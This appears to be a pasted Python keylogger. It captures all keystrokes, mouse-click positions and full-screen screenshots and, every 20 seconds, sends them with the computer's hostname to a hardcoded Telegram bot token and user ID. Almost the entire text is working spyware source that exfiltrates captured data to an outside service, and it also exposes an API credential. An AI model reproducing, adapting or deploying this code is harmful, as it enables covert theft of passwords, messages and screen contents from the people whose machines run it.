· 6 years ago · Mar 17, 2020, 01:48 PM
1import socket # for computer name
2import telebot
3import threading
4#import keyboard
5from pynput.keyboard import Key, Listener
6from pynput import mouse
7import time
8import datetime
9from threading import Timer
10import json
11from io import BytesIO
12import pyscreenshot as ImageGrab
13
14
15TELEGRAM_BOT_API_KEY = "937597982:AAEGZ-td8bvGg6oe144IBvuCKra45YXQB0Y"
16USER_ID = 404663608
17
18class TelegramBot:
19 def __init__(self, api, user_id):
20 self.api = api
21 self.user_id = user_id
22 self.bot = telebot.TeleBot(api)
23
24 def write_message(self, keys):
25 json_dict = {
26 "computer_name": socket.gethostname(),
27 "time": datetime.datetime.now().strftime("%d-%m-%y %H:%M:%S"),
28 "keys": keys
29 }
30 print("Send keys!")
31 self.bot.send_message(self.user_id, json.dumps(json_dict))
32 self.send_screenshot()
33
34 def send_screenshot(self):
35 bio = BytesIO()
36 bio.name = 'image.jpeg'
37 image = ImageGrab.grab()
38 image.save(bio, 'JPEG')
39 bio.seek(0)
40 self.bot.send_photo(self.user_id, photo=bio)
41
42class Keylogger:
43 def __init__(self, delay_in_secs = 20):
44 self.is_stopped = False
45 self.is_paused = False
46 self.recorded_keys = []
47 self.send_keys_thread = threading.Thread(target=self.get_keys)
48 self.telegram_bot = TelegramBot(TELEGRAM_BOT_API_KEY, USER_ID)
49 self.keyboard_listener = Listener(on_press=self.on_key_pressed)
50 self.mouse_listener = mouse.Listener(on_click=self.on_mouse_clicked)
51 self.delay = delay_in_secs
52
53 def on_key_pressed(self, key):
54 self.recorded_keys.append(str(key))
55
56 def on_mouse_clicked(self, x, y, button, pressed):
57 self.recorded_keys.append("CLICK[{0}, {1}])".format(x, y))
58
59 def start_recording_keys(self):
60 self.is_stopped = False
61 self.is_paused = False
62 self.recorded_keys.clear()
63 self.send_keys_thread.start()
64 self.keyboard_listener.start()
65 self.mouse_listener.start()
66
67 def stop_recording_keys(self):
68 self.is_stopped = True
69 self.is_paused = True
70 self.recorded_keys.clear()
71 self.send_keys_thread.stop()
72 self.keyboard_listener.stop()
73
74
75 def get_keys(self):
76 while not self.is_stopped:
77 if self.recorded_keys:
78 self.telegram_bot.write_message(self.recorded_keys)
79 else:
80 self.telegram_bot.write_message("None keys")
81 self.recorded_keys.clear()
82 time.sleep(self.delay)
83
84def main():
85 keylogger = Keylogger()
86
87 try:
88 keylogger.start_recording_keys()
89 except KeyboardInterrupt:
90 print("Exit")
91 keyloger.is_stopped = True
92
93if __name__ == '__main__':
94 main()